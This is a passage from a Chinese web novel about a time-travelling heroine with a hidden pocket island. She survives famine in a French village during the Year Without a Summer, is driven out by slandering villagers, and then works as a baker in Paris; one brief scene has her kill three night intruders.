她翻出来自己的收藏。早年,几百年前的事了,因为银行不回收24K以下的金,她不得不用“缴获”的合金金属里分离出的勉强算是足金的贵金属折腾出一盒子仿制金币,当时折腾模具花了好几个月的时间才解决,成本甚至超过找工作室做现成的。比对了下,仿制的是皮斯托尔,西国金币,就是图案稍微有点比例问题,怎么看怎么像是私铸的。 也确实是她私铸的。反正重量在那里,比正版的重一点,估计纯度也高一点,收到的人不会亏。 裙里的羊毛长袜应该已经穿了至少两年,又短又紧非常不舒服还不保暖,再这样过一个冬天肯定出现关节毛病。今天村里小店没看到有卖的,估计大家都攒着另外卖钱。但她买了几个硬面包,可以几天不出现。好在第三天天气暖和了点,中午有摄氏十七度。苏茜赶紧跑出门到镇上买了新的长袜和半新长裙短靴和羊毛外套,讲了半天价还是花了三个银币。所以她披着新买的衣服最终走进街尾首饰铺。 “……这是我外祖母从一位佛罗伦萨商人那里得到!曾经是一位美第奇佩戴过的!”这套首饰是仿的,毫无疑问,但仿的是真古董,金也是足金。 最后这套首饰的成交价换来超过它们重量一个金法郎,算是苏茜的手工费了,有亿点点亏。如果不是她当时制作的时候可不是纯粹的手工制作,她说不定会气得上手打劫。 她没打劫首饰铺,但是自己碰到了打劫的。 “小妞,把身上的钱都交出来!”几个高矮年龄不一的男子不怀好意地盯着骑着驴的苏茜。 苏茜前后左右地看了看,前不着村后不着店,方圆半法里无人。她就是去买一批土豆做种子而已,至于出动五个劫匪吗? “你们还要什么呀?”她甜美微笑,一边打开保险,一边估算能得到的好处。 突然的,远处一阵马车声响,速度颇快,由远及近。 双方对此“突发情况”都很不高兴。 于是劫匪们分散退走,苏茜继续上路。 “女士,请问马洛米耶庄在哪个方向。” 这个她还是知道的,她也是去那里。“前面的路口,那棵歪脖大树的路口,左转,再走大概三里。” “谢谢!”马车不豪华,但是由两匹相当健壮的马拉着。车夫配细剑,车主有细剑和燧发木仓,两人都是三十上下的年纪,在这个年代绝对横扫路匪。 马车行驶的速度不快,也就比苏茜快一点点。到了路口,转弯,苏茜也转弯。半里后才加速。 苏茜意识到这车上的人是照顾她的安全,不由觉得很欣慰。从正常的思维,这是对方在沉默地做好事。 驴子是走不快的,但前面不远就是村庄,陆陆续续有人家,所以直到地方,劫匪都没再出现。苏茜一共买了两桶土豆,且特意从不同农户买了品种可能略有区别的。因为乡村度量衡的问题一直存在,所以直接按桶来买,再装入布袋子——一个旧布袋子一个生丁。 等走出庄子,苏茜的布袋子里已经减少为两个,而且换成了其他的东西。她转道这边的镇子上,还买了石灰块和熟石灰,从另一条路回家。种土豆她本人还是会的,但原身只帮地主照料过葡萄,自家那块地上也只种过麦子和牧草,产量低得惊人,也就靠一点羊群过路费解决面包问题。 她不是没想过卖掉地去巴黎,但去了那里靠什么生活?私铸币?别开玩笑了,这个混乱年代虽然不再随便抓人砍头,但也没好到哪里去,每十年一次的饥荒和不久之后的几次战争让巴黎的居民,不论贫富都成了消耗品,一茬一茬的冒头然后被收割。而民众,始终只是工具和韭菜。 也许之前肆意陷害他人被砍头的大妈们就是民众反抗成功的,反面案例。 坡地面积不算小,可一来是坡地不利灌溉耕作,二来羊群一过收成能少一半,可过路费并没有一半的收成那么多,甚至不是钱而是奶制品和一点熏肉。肉是比面粉贵,可面粉顶饿啊!所以村里人对“可怜的”小寡妇还是同情居多,并认为她肯定要做些别的事情糊口。让苏茜还算满意的是没人认为她会在村里卖身而嘴巴不干净。 进村前,土豆以及不少东西,一共六个布袋子被重新放到驴背上,而她本人则是步行。 “苏茜,你回来了。怎么带了那么多东西?” “帕塔贡奶奶,我带回来土豆,想今年种土豆。”今年开始,因为火山爆发导致俄国以南没有夏天,作物大面积减产,好容易收成的粮食也因为气候不好无法及时晾晒干而霉变无法食用,全球在两年时间里饿死无数,就是字面意义上的活活饿死。另外,土豆是会招虫害以及特殊细菌而导致减产甚至绝收的,这就是若干年后爱尔兰饿死逃亡一半人口的一半原因——另一半是英格兰地主。 “哦!可怜的孩子!”拿土豆当粮食吃,得有多悲惨啊!他们农民又不可能像有钱人那样加糖加肉加香料,都是烘烤水煮连皮啃,虽然比黑面包软,但连吃三天的话连她这样习惯吃苦的人也受不了。 “总比饿死强。而且我还可以做点手工活换面包和衣服。”苏茜指了指腿上脚上。“之前的袜子鞋子都嫌小了,我就拿了妈妈和祖母留给我钱买了衣服,不然真的要冻死了。” “总会好的,上帝会保佑你的。”村里人常年的手工活计就是处理羊毛和制作羊毛制品,前者是重活、后者没门槛,还有就是葡萄采摘季节打零工之类。 “谢谢!我先回家了!回头见。”苏茜没有多聊,驴子正不管不顾地向前走,如果拉住了它反而可能又不肯继续走。 村里人大多是比较好的人,也就是不会半夜来偷小寡妇东西的那种好,再多就不可能了,哪怕不少村民都是沾亲带故的。恩,尤其是税收季节,谁也不知道包税人会做出什么事情。她这块地所有的税赋加起来,哦,现在少了一份人丁税,可能需要三个银币还多一点,如果用小面额交还可能被恶心的兑换比例再盘剥一圈。 所以所有家庭都在努力挣钱。谁也不想再来一次起义了,死的人太多。 苏茜不会织毛衣,但原身会织袜筒。听说现在有机器、做的袜子又快又好,不过机器太贵了,人便宜,农夫农妇大孩子们全家一起上,做各种活计,能挣出全年的税还可以多一两件旧衣服。总体上,比几十年前光税收就能让农民倾家荡产的日子好了些,跟几百年前的农奴时代那完全是两回事。 技能总是不够用啊!她叹息着开始切土豆、包裹上熟石灰。 这段时间天气情况有点类似倒春寒,所以苏茜开始,嗯,人力犁地。 用的梨是前段时间她自己做的土豆犁,因为铁匠拒绝按照女人的意思做奇奇怪怪的东西。效果当然与机器有天壤之别,也远不及牛拉犁。但是以土豆的产量和储存条件以及她一个人的食量,真就是随便种种罢了。 淡定地松了小小一块土地,每间隔一捺多一点种下半个土豆。收工。 当地的餐桌让人叹气,不过食材供应倒是相当好,蔬菜品种有二十种,水果也不止葡萄,甚至集市上的果干居然有超过十种。而且,乳酪都是原版非再加工,蜂蜜都是可以存放几年没有任何添加剂,小麦粉就是全麦的,牛奶也没有掺过水。除了面包难吃得无法评论,通心粉只有一种形状,即使这两样食物都能保存很久! 所以岛上的木炭烤炉派上了用场。 苹果发酵液、小麦粉、橄榄油、牛奶、鸡蛋、奶酪、果干、蔬菜、鱼肉,还有不要钱不交税的盐。感谢她的岛,带来了海盐;感谢那么多书,提纯了精盐。因为提前发酵,所以她只花了半个小时就做出来一份营养物质丰富的晚餐,配上玫瑰薰衣草红茶。因为盐和鱼没有花钱,所以这一餐的成本“仅仅”四五个苏,够村里六口之家吃三天的大麦粥黑面包加生洋葱。苏茜可以生吃豆类以外的蔬菜,但拒绝烧烤水果,更不接受吃生肉喝生血。 整整十天时间,两桶大概十九公斤土豆大部分都种下去了。这种土豆体型小,数量多。苏茜试验了古代南美的传统“冻干”方式,用硝石制冷冻几个小时,解冻,再冻上,拍碎,再解冻。有一部分因为操作不当还是发芽了,只能种下去。 这块地打水是个大问题。最近的水源在半法里之外,虽然有驴子,但路上颠簸得能把水桶里的水弄出来一半。驴子的饲料也是个麻烦,要不是她地里还有些牧草,另外也舍得花钱买粮食给驴子吃,这个青黄不接的时节得花钱去跟隔壁村买草料。 苏茜并不需要去那么远的地方打水,岛上的雨水足够那点土豆苗用,但是她必须辛苦打水,不然无法解释如何种的地。包括羊群通过的时候随口啃点的那点叶子,其实对土豆不是太糟糕的事,尤其还有羊粪。 “如果有奶酪就请给我奶酪吧。不要风干的肉。”那真的太可怕了,即使削掉挺厚的一层仍然是霉变的,除了扔海里没有第二个结局。 最后牧羊人们分别给了她加起来都没有两磅的奶酪作为啃食庄稼的补偿。这倒不是欺负人,而是“行价”。因为奶酪比大麦麸皮贵很多。 可那奶酪的味道仍然让苏茜皱眉。这应该放了能有三年了吧?所以她用这奶酪去其他镇子上交换了一袋面粉,纯小麦磨的,没有掺其他的东西包括并不限于沙子。另外还用一个看上去有些年头的银戒指换了不少大麦之类——够她的驴加餐一个月了。 夏季应该是炎热的,但阳光、温度、雨水,都不对劲。 给驴子种的牧草还在顽强生存的时候,土豆可以收了。这种小土豆产量不高,加上气温不对,原来种下的十八公斤多些的土豆,如今收获了不到一百公斤。 “是种子的六倍,也就是五倍的产量。”苏茜对小麦产量大减、考虑也种土豆的朗贝尔道。“羊群吃了不少叶子,当然也有些羊粪。土豆比麦子更能抗风险,就是必须晒干保存在地窖里,不然发青的土豆吃下去会死人的,比发霉的小麦危险多了。如果明后天下雨,我就干脆放在室内烧火烘干。” “毕竟能填肚子。”老村长柯纳尔的小儿子也来围观。他去年分家出来,虽然土地面积不及苏茜,但是更加靠近水源的且更平坦还没有牲畜群经过。 村子今年日子不算好,可也没有饿死的危险。苏茜知道原因却没法说明。 明年才是最糟糕的年份,大部分庄稼包括葡萄歉收甚至绝收。他们村能活多少人很难说。 “吃不完也能卖给别人做种。” “小麦没法卖给商人,除了种子,有时候口粮都会被拉走运去巴黎。不过土豆安全多了。”一名老妇人道,她经历过为了保证供应巴黎而饿死农民的饥荒年代……说实话,巴黎之外的农民与巴黎工人的矛盾不是几句话能讲明白的。 苏茜也不知道她的建议是好是坏。“土豆保存不当或是染病麻烦更大。” “土豆还会染病?” “我也是听说的,有地方种了不少土豆,结果因为飞鸟的鸟粪带来病,所以全部坏死,导致种地的农民也饿死了。但我还是觉得,种土豆起码还能吃饱一个月吧?如果麦子都无法收获,那一点吃的也没有了。” 无夏之年是真的饿死很多人的,尤其是最底层的佃农,其次是自耕农和城里的乞丐。救济赈灾是不可能的,巴黎都在自己跟自己打、自己跟外国打。不想活活饿死就得自救。 房子的地窖多年没有维修过了,不仅气味感人,还不太稳定。苏茜之前使用石灰、沙子以及一些收藏的火山灰做成水泥,将地窖加固过。还用果皮炭火等烧过一遍。因此现在的地窖虽然与岛上的地下室不能比,可在村里算是好的。 土豆收完,苏茜开始用枝叶、土壤和畜肥做土肥。这玩意几百年不做有些手生,好在这块坡地比岛上的土质好不少,所以土肥的大部分用在她自己的岛上,其他还在原地。这种土很适合用来种菜。村子虽说是山村,但海拔不高,冬季基本没有雪,比岛上温度略低但湿度也低,种的菜大部分能活。 岛上也在种东西,土肥加土壤放在各种材质的种植箱里,种冬小麦和蔬菜水果,还有些苜蓿牧草。这里的土壤不是岛上的,而是混有些河泥的土,品质很好,加上土肥挺充足的,所以菜和麦子长得都挺好。 房子里和自带炉子烧火的木头和炭是买来的。岛上烧烤和做菜炉烧的木头是偷砍的,工作炉烧的煤是存货。地里种的树目前还不到一米,都是她从树苗开始一趟趟搬来种下的。 虽然普通人根本没地方打猎乃至捕鱼,但是一片地方挖几株树苗还是没有问题的,还有种下去的上百果核如今长出来了三株树苗,不过眼下根本看不出是什么果树。 天气渐渐冷了。羊群从山的高处回到低处,吃掉了不少驴子不爱吃的老牧草。这次只得到不到一磅的羊奶酪,依旧是糟糕的味道,只能拿去换面粉 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若非这帮劫匪上一次的“收获”被苏茜一股脑都收了,有两百多法郎和怀表等——听说旧贵族们回来了,新贵族们又跑了,真的是乱成一团。 冬天的清晨很不友好,更不友好的是倒春寒还下雨的凌晨。 苏茜本来准备考虑去城里,所以得凌晨出发才可能在半夜前赶到城中旅店,但这场雨和摄氏七度的气温让她打消了念头。 “……听说皇帝,不,是国王陛下要让更多平民的孩子也上学。” 中午的时候雨才停,因此地面并不太美妙,泥土、水和垃圾脏污遍地都是。中老年男女们穿着木鞋坐在家门口聊天,而年轻一点的以及农民们早就在地里忙乎开。趁着下雨地面变软,他们开始准备春耕或者查看冬小麦的情况。 “我只希望手头这版法郎用的时间久一点,别又换新的,旧的被黑心商人们压价。” “那你还不如拿去买些面粉囤着。” “嘿,我要留着那点点钱给儿子办婚礼。” 苏茜确定今年夏季将会湿冷秋季霜雪,即使有收获,也没有阳光晒粮食。 但,即使她说了,大家也只会把她当疯子。虽不至于被烧死或是砍头,但估计好不到哪里去。生气,可没法子。去年收获的土豆,大部分放岛上特别制造的储存地下室,小部分做成原始冻干土豆同样放在地下室。现在她拿出来不到四十公斤似乎还挺好的储存土豆做种子,陆陆续续将坡地大半面积都种满,少部分远离羊群迁徙道路的地方种了点菜和春小麦。连续种一种庄稼不是好的做法,可她去年搞了那么多土肥,想必今年的收成不会太差。 苏茜略微遗憾着,还是找到了几天的空档去了城里。果然,路上需要花近两天时间,主要是驴子速度慢有时还不配合。 城里的店铺当然多,价格却不高。苏茜花了一天半时间,跑得腿脚都疼了才卖掉一批“存货”买来不少镇子上没有的东西,然后又赶回家,还是在河里打了水上山回她的旧房子,看上去就像是一直在家住着,靠吃存粮和黑面包而没有出门。山上不是没有住户,有小半个村子的人住在山上,但她家距离聚居地有上百米且都是泥坡地没有正经道路,因而一旦下雨就是交通不便。 * * * 村里农妇与城里淑女差距极大,光是纤细的腰就不一样,应该是让内脏移位的束身衣的“功效”。人家一件礼服都不需要加上珠宝,村里的妇人干一辈子都挣不出这么多法郎,更不要说皮斯托尔这种真金币。苏茜手头没有测量仪器,只能确定法郎硬币是含金币,无法判断其含金量,更没法精准地私铸出来。她的知识库里没这种知识点。 苏茜买得起礼服,但不想浪费这个钱。古董礼服必须保存得相当好还要讲一个动人的故事才卖得出价钱,不然现在买了以后就是垃圾。包括有年头的珠宝,没有来历故事照样不值钱,还不如她当初参考各种图样、凭兴趣做的风格迥异的足金饰品能卖得上价。 现在和未来的当铺对各种高价却又不是收藏级的首饰完全不买账,只给材料本身的价格,所以五百法郎买来的首饰当出去不会超过一百。有趣的是城里不少体面男女就喜欢做这种高价买入、低价当掉的事,而且还不是卖掉别人给自己买的,是自己买自己当——或许他们觉得牌桌上能把钱赢回来然后去赎回自己的东西。 “……你的腰那么粗,不可能有飞上枝头的命!”一位母亲这样骂自己不肯干农活晒黑弄粗皮肤的十二岁女儿。“今年收成不好,每一粒麦子都是珍贵的,不然我们家里就有可能会饿死人!” “你不是还种了土豆吗?” “你不做以后只有水煮土豆吃!别想有面包!” “家里只有我一个人干活吗?安托死了吗?!” “……” “……” 苏茜看看天,放弃了再去打一趟水浇地的打算,绕过那对母女回家。她的史料并不支持具体的月份,而且即使有记载也不能肯定自己所处世界的真实情况——事实上她也不知道今年会不会真的出现火山灰大规模影响欧洲气候的事。四月、五月,就在小麦快要收获的时候,天气越发糟糕。雨水也不是很对劲,可惜苏茜手头没有检测仪器。这个情况一直在持续。太阳基本上没有露过头,夏天一直没有到来,北边地方的夏季甚至结霜导致绝收。南边些的麦子不仅产量大幅下降,还有可能晒不干出现霉变。 苏茜的春小麦还没成熟,但眼看着就是减产的命。不过她在村里建议将收获的带壳麦粒放在炉子的周围烘干,总比眼睁睁看着霉变强些。“今年的天气很不正常,我们不能盼望明后天突然放晴。而且我怀疑冬天会更冷,所以现在去买木头。” “夏天去买取暖烧的木头?”这女娃是脑子坏了吗?不过想想今年诡异的天气,白天出门有时还要穿外套,大家都回去各自找法子将含有水分的麦粒弄干,本来收成就不好,再这样每天阴雨,发霉了还能吃吗?! 除了木头和木炭,苏茜还去买了面包、酵母、水果、蔬菜、乳制品和看上去还能吃的风干肉类和鱼类。这年头的面包,有的两天就坏了,有的能放两个月。整个地区经常有人吃了发霉的面包拉肚子死亡的。 反正回程的时候大家只看到硬邦邦的大块面包和驴子拉拖车上的木头,苏茜这个主人还是步行回来的,到了山上因为有货物的车子没法过去,她还是一趟趟搬了木头回家的。 “她的木头应该是自己砍的吧?我看到车上好像有斧子……”村里人才不信穷成这样的小寡妇能有钱买那么多木头。 “嘘,我知道哪里去砍。” 全村都偷着砍树回来烘干麦粒。起码的,不会全部发霉而饿死人,甚至还能期待一下秋季能收点土豆填肚子。 苏茜本人则在打毛衣。 岛上是有些闷热的阴雨天,所以她干脆在石屋窗边手工织羊毛半身长裙。她至今不会织毛衣,但筒裙还是可以试试的,不就是放大的袜子吗?可惜失败了三次才找到正确的方法,弄出一条怪丑的裙子。披肩和毯子都是织机织出来的,很粗糙,能扛摄氏十度但挡不住零下。所以苏茜用土豆跟粮食收成不佳的一户牧羊人换来两大块处理过的羊皮,打算自己做个羊皮斗篷里面毛毯加披肩保暖吗、外面羊皮挡风,腿上筒裙里长袜外面再加腿套,用挂绳系在腰间类似吊带,实在是自己一时不知道如何织毛裤。 两双靴子都是花了“大价钱”买的牛皮靴,不过她是不会在村里穿惹人疑惑的,包括城里买的格子绒头巾和带菱纹的绒长斗篷——问题是她没有买好点的裙子,导致斗篷下的裙角不对劲。因此她考虑在绒斗篷下弄一圈羊毛“边”,最后只露出一双靴子,不然她都无法出门伪装成一个中等阶层的女性。 小炉上的土豆煮软烂了,她换上烧水小锅,然后用勺子将去皮土豆弄成泥,加入奶酪、胡萝卜、小浆果以及其他手头的蔬菜再蒸一下,当个健康晚餐。上辈子收藏的不锈钢削皮器还能用嘿嘿!吃完洗洗就睡。哦,这没有卫生纸、只有亚麻布和干苔藓的年月…… 21.国王亦凡人(二) “苏茜,你的土豆能换给我一些吗?” “没问题。不过我只有六磅可以拿出来了。你们两位平分吧!多给我些木头就行了。” “啊,木头!是的,没问题……唉,大家都这么快手快脚啊!” “其实很多人都种了土豆的,就是不像我这么多。” 自从她跟一位村民用一磅小麦粉换了四磅土豆,其他人在意识到粮食问题的时候都在抢着换土豆,交换的东西从食物到衣物到燃料。顺便说一句,这里的磅也是各有千秋,甚至附近两个村都有可能有区别,干脆三倍五倍这样计数更好用一些。 等土豆换完,苏茜原地蹦跶着接过木头,关上门,堵上窗。表示本人暂时装死避寒。 前几天本地罕见地下雪了。最顽皮的孩子都不会出门玩雪,因为他们没有足够的衣服御寒。全家人缩在一起,将毯子叠起来盖,同时将木头都存着。现在还没到最冷的时候呢! 苏茜将所有家当都转移走,然后大部分时间都在岛上生活。 土豆收货后,地里的其他菜在低温下死了一半。倒有一种牧草还在顽强生存,所以她的驴子就吃那个和一些耐储存的食物过活。 农人们不死心,还是种下了冬小麦。 苏茜在将死去的庄稼作绿肥后也种了点,但她估计这批冬小麦的收获可能跟去年也差不多。 冬天到了。 有一户保存不当的人家有袋麦子发霉了,还有几户的土豆发青了。 “我给驴子吃。希望它不会病死。”苏茜用一个苏买下那些发霉的麦子。“土豆发青是有毒的,人吃多了会死,所以要不试试种在屋檐底下或是靠近炉子的地方,哪怕长些草也能喂牲口。” “苏茜,你的土豆没问题吗?” “对,那时我是放在炉子边,几个小时翻动一次,最后看上去都干了才放地窖。你不是换了些吗?” “是的是的,放到现在都还是好好的。” 苏茜出门披挂着一身简单拼接没有剪裁的羊皮,皮子下是换来的旧毛毯和自己织的羊毛筒裙,脚上的靴子偏大,整体就像个乞丐。 “……什么呀,听说普鲁士那边的冬天,大家都是把干草绑在身上出门的。但是那样太过分了,我还是多披一层。” 今天白天算是温度略高,摄氏四度,比本地平时最冷的凌晨温度还要低。大家都裹着毯子出门,而且通常一家只出来一两个劳动力,找活干或找东西吃或偷砍树或捞鱼的。至于其他家人,为了节省食物都躺在草堆里呢。 苏茜则过几天才出一次门,打水,买黑面包和蔬菜,或是“找”几根木头,表示她还活着、还在村子里生活,不准进入她的房子“拿”东西。 事实上,要不是地窖入口被她封了、里面也空无一物,早就有不止一个人将她的存粮偷走——大家还没有无耻到问她“新地窖”在哪,不过可能有人打算在她的地里挖挖看。现在除了杂物间窝着过冬的驴子,她在明面上没有任何值得偷的。至于驴子,本地没有吃驴肉的习惯,偷了还要浪费自家牲畜的草料,因此总体是安全的。 但也要防止有人真的饿了来打劫什么的,因为大家都知道她家只有一个“弱小”的女人和“不少”土豆。只是,除非有大车来拉,不然费力气打劫,没啥钱财也带不走太多土豆,还可能被抓住打死——村民们最爱抓外来偷盗的人,可以合法合理地将对方身上包括衣服全搜走,要知道农民的财产是包括衣服的。 早上傍晚的温度就开始达到零下,绿植几乎全枯死,小树倒还活着、只是没剩几片树叶。估计有些葡萄藤也会受影响。 苏茜移开加固过的门闩,外面一片白。 下雪了——估计是本地百年罕见的景象。苏茜嗅着冷冽的空气,再看看脚上的靴子,给驴子加了点餐和岛上雨水后就重新关上门,还检查了下窗子,才退回岛上。 最近她在修炼和练武之余,开始探索海带林顺便训练潜水,只有一身棉衣。岛上的冬天不算多暖和,可也没有外面的低温。泳镜和潜水装备压根就没收藏,而海水会刺激眼睛,加上呼吸管是会进水的,最后苏茜潜入海里纯靠勇气。好在她用不锈钢鱼叉划拉过海带林去掉危险因素,手里的短刀也非常可靠,因此割下不少海带增加蔬菜的摄入。 在本地买的半旧小船和渔网,居然比她收藏的不锈钢折叠船和钢丝网还管用,打半天渔收获的蛋白质能让自己过几天,加上海边的收获以及大量囤积的面粉、乳制品、葡萄干、坚果和牛肉干,以及能收集到的香料、劣质酸酒、晒干的蔬菜,生存情况还是不错的,至少比战场上好得多,唯一的遗憾就是这辈子可能吃不到米饭。 如果能一直保持这种生活状态也不错呢! 苏茜心情不错地在阁楼出现,准备例行检查、封住炉子后再回去睡觉。没想到正在捣鼓炉子的时候,听到外间房间的窗户上有动静。 房子的窗户不算小,但比较高,在她头顶位置。降温后她就用木头堵窗但没封死,因此推开是件很容易的事,起码比加了铁的门闩好对付,只要外面的人个子高或是踩在凳子上就行。 现在是晚上不到十点,村里人为了节省灯油早就睡下了——没人用昂贵的蜡烛。苏茜摸出长剑和短刀。炉膛里的火提供了一点点亮光,对她来说足够了,尤其是外面的人居然还伸进来一支火把。 好消息是来的人眼生,坏消息是外面还有人。苏茜迅速换上新靴子,扯下长裙,在长袜外面套了条男式长裤,上衣也是翻出来还勉强能穿的现代棉衣。甚至将上下阁楼的梯子也提过来。 窗口的人居然还没跳下来,真慢! 苏茜打了个呵欠,在那人折腾半天,将火把留给窗外同伴后爬下窗。落地的声音很轻,对方穿得也不多。苏茜快速用短刀砍断他脖子上的气管部位,三十秒后将尸.体扔进岛上。地面上的血迹不是特别多。她从梯子上慢慢爬近窗户,耐心等待火把后的人靠近。对方用气音叫了两声,没得到回复居然就不动了。 苏茜的耐心逐渐告罄。她心里排练了几种方案,在对方犹犹豫豫将火把再伸进来些的时候突然出手夺走火把,然后递出长剑。 外面有惨叫声,不太响亮。 苏茜以最快速度爬出窗,一手短刀一手长剑,直接从窗洞跳到面部受伤的人胸口,然后短刀扔出去砍在第三个人的背上。最后一人补一剑,扔进岛,翻土掩埋血迹,再原路返还,将室内也处理一遍,再用火把烧一下,而火把也扔海里了事。 三个外村人,但是其中一个她在村里见过,似乎是谁的远亲。她一边努力回想对方的亲戚是谁家,一边利索地收拾。 可惜战利品只有两柄匕.首和十来个旧版苏,少得可怜! 想起来了,入冬不久村里一位不到五十的“老太太”过世,她的娘家亲戚硬是留下来白吃白喝两天才被亲属赶走。认真考虑过后,苏茜很高兴自己不需要“连坐”同村人。 在毫无生机的圣诞新年之后,气温似乎回暖了些,但并没有多大改善。苏茜同样种了些土豆,同时四处找林子捡拾枯枝烂叶做土肥,同样是一半自己地里,一半岛上种植箱中。 冬小麦的情况很不好,既是如此苏茜仍然种了点春小麦和各种容易成长的菜。同时,小树又长高了些,今年冬天可以砍了。 黑面包价格涨了五倍,面粉价格涨了三倍多,还经常断供! 苏茜买了件没人认得出来的棕色长外套,包着同色头巾,跑去城里好几家店,分别买到一年的粮食,包括但不限于面粉、面包、奶酪和通心粉。通心粉真心好用,能放置大半年味道不变糟,除了比长棍面包还要贵之外没有半点缺点。如果加上作为调料的葡萄酒、橄榄油和多种大罐装的酱料,以及“便宜”蔬菜水果之类以及并不多的肉干茶叶等等,她一年得吃掉港城一个能放浴缸的卫生间的价格,这还只是在盐与海鲜免费前提下的基础食材支出! 但愿,一年以后情况会好点吧! 可她记得恶劣气候持续了三年? 城外小旅店里,苏茜放弃了有不少蚤虫的肮脏被褥枕头,回岛上认真研究通史。可惜,通史资料到用的时候总是找不到确切的记录。就当至少一年的灾害天气来考虑吧! 苏茜就这样怏怏地回到村里。 然后,站在一片狼藉的地里,面对门户大开的房子,还有“很抱歉”的村长。 还有一群看热闹的村民。 “苏茜,你这个小蹄子既然那么耐不住地找男人,我知道一个挣钱的好路子……”一个平时最爱挑事的村妇跑过来,恶意满满地笑着还打算摸一下她的胸口。 然后不出意外的,她,以及两个同样打算动手动脚的青年农民被苏茜揍成猪头,连武.器都懒得用。其中一个农民的母亲看见儿子的惨状尖叫着冲上来,同样给“均衡”地扇了两巴掌打成胖脸。 “我还没用细剑呢!”苏茜回以更加恶意的笑容,从驴子身上的长口袋里抽出一柄刚买来才三天的细剑,锋锐的剑尖让打算“主持公道”的村长连连后退。这剑的份量太轻砍不了脑袋,但得尊重本地现实不是。 “你一个贱.妇也敢打男人?!”另一名农民冲上来。 被苏茜一脚踹翻并且削掉半块耳朵,“鼻子要不要割下来给你的情夫下酒?我说的是情夫,不是情妇。” 造谣,谁不会啊!她指着边上一个开骂的农妇直接说她跟闺蜜搞到一起还不敢让丈夫知道,指着另外的男女说他们有婚姻之外的关系,其他人则是偷盗邻居家的东西还栽赃别人。所有骂她的人都被她冠以各种罪过。 连村长都受不了那么多的刺激,暗戳戳研究哪些“传言”是真的。最后“抱不平”的村民不得不撤退,因为他们大多不想面对邻居家一边同情一边恶意揣测的眼神。 苏茜承认,这次去城里,她用垃圾的价格买到一批“历史”批评册子,结果仔细一看差点被造黄谣、画黄图的作者们给恶心到吐出来——后世媒体见照片编故事的本事竟然还不如两百年前的绅士淑女们。另外,她还看到大量的“罪状”,都是那些被砍头的人犯下的罪行——全部是造谣污蔑,包括一名妇女被砍头是因为被“揭发”与八岁的儿子那啥于是被砍头,简直完美重现几个顽皮小孩作证是女巫、对方就被活活烧死的那种荒谬……气不过,实在生气! 苏茜冲去村里用剑逼问了三个村民,最后知道造谣她偷人,“号召”大家扒了她的土地房子的居然是个前年刚嫁进来的小媳妇、今年甚至都不满十八! 犹豫了半分钟,她冲去那家门口,大声编了一个自己撞见小媳妇偷人却被倒打一耙的故事,而且有鼻子有眼,将小媳妇和她情人讲的话甚至姿势都讲得活灵活现,然后嘲笑这家的男人不行。 村民们顿时忘记自己从昨晚到现在都没吃上几口食物,热烈地议论起这个八卦,仿佛这样就能忘记饥饿。 而苏茜则是转身带着“仅有”的驴子离开这个已经面目全非的饥饿的山村,因为再过下去她真的会被村民污蔑在土地里下毒而烧死。她本来想破坏掉土地和房子的,但出于环保的考虑还是算了。去镇上将这块地押给放高利贷就行了,相信他们会“认真”对待自己的财产。 * * * 村子向西向北就是巴黎。苏茜开过这段路,可惜那时是公路和高速,加上租来的车子性能挺好又不是度假堵车的时间点,所以自己好像也就开了大半天? 但是这个时代的路况,车,不,驴子的情况,能在半个月内到达吗?另外,考虑到糟心的卫生、安全条件,有的时候她得连夜赶路好找合适的宿头,有的时候不得不在还算过得去的旅店里等到第二天才上路。再加上每到一个地方,当地人对方位路程的估算——还有度量衡问题——差别挺大,因此苏茜差点跑去了布鲁塞尔!这种折返都要花三天的经历实在太讨厌了。 再加上,她突然想起来查史书,结果发现不仅是无夏之年的事情,几十年内巴黎还会有好几次她不是很熟悉的动荡。 这倒霉城市到底是因为什么而被认为很浪漫的,乱搞的“习俗”吗?到处都是的低级中级高级特级女伎们?五法郎一个的水果小蛋挞?倒是一开始由小店主一起建起来的拱廊挺新颖的,完全满足城市平民和中等阶层向贵族阶层靠拢的梦想。 换上平民偏上阶层的服装——没有可怕的束身衣,这一点她坚持——之后,苏茜在带顶商业街区里得到了不错的待遇。 在离开村子足足三个月后,苏茜凭借巧克力奶酪坚果面包和自制发酵液,在巴黎市区不太昂贵的商业街区找到一份面包师的工作。 “每一种发酵液都好吃!”店主夫妇自身很少吃甜得发腻的食物,但对香软面包完全没有抵抗力。他们和苏茜一起研究了各地物产制作的发酵原料,只加面粉品尝口感后,就将店里大半产品都换上使用成本高昂但成品价格更高的酵种,老酵母面包纯粹就是保留一个酵种以及三个生丁一块的“平民”面包。 在全国物资保证巴黎的情况下,巴黎的面包价格比农村产粮地镇子上的面包还便宜。 “妈妈,我都要!”小女孩穿着漂亮的小裙子,瞪着柜台上足足十二种,现在已经卖得只剩下七种的挞眼睛都直了。 “好的……给我每样四个。”其实年轻的母亲也眼睛发直。谁不爱甜美漂亮的小点心呢?她家里还有俩呢! “女士,这款只剩下三个了。” “那这种呢?” “还有六个。” “那我都要了。” 这家店位置在平民与富人区之间,地段、装修不上不下,还没有精致的堂食,自然卖不出五法郎的价格,但五生丁以下的东西只有两种,各色挞因为做工用料和粮食的价格,都是二十五生丁起步。 苏茜说是面包师,更多时间在甜点试验上。而且她喜欢将想到的任何一种做法发挥到极致,往往一试验就是六款甚至十二款,保证每季度都能推出三五款反响不错的新品。 店里生意变好了不少,一些有钱人都会特意让女仆来买,苏茜现在的工资完全支付得起附近每月五十法郎含盥洗室、小炉子、壁炉和木头但不包括三餐的套间房租。市区的房租与郊区完全是两回事,同样价格在周边可以租一栋小房子了。而她的那块地连房子也就卖了不到两千法郎,能做一身参加社交舞会的礼服配饰和银首饰。 苏茜决定等这笔法郎都用完就离开这糟心的国家。 她现在的收入全部砸在吃和住上面了。 为了甜点达人的人设,她花了很多时间用自己囤积的材料练手,甚至还买了两个本地风格的大小炉子放在岛上,光练手时用掉的木炭就超过房租,终于在存粮用完的时候将自己的手艺练上去了。 “对,两种通心粉,各两袋。”这片区域的好处是到处都有公寓一楼店铺,东西不算高级但价格还行,比如进口通心粉还有煤这类小地方少见、大城市常见的商品比镇子上卖的更实惠,英国产的棉布和毛呢最近因为贸易谈判的关系也更便宜。 被巴黎口音折腾得不轻的苏茜听到这个地名,就想起了牛津附近河水淌过的小镇上那些百年石建筑——与这个时代臭烘烘的泰晤士河完全是两回事,不过也因为水源不错,这时应该被纺织业污染得不像话。 至于澳洲和美洲,生存情况应该更糟。至于欧洲其他国家,先不提语言水平问题,那边贵族领主还在,小国林立且更注重血统,她这个平民过去纯属送菜。 跟时不时就要打起来的巴黎城和乱七八糟的南部农村 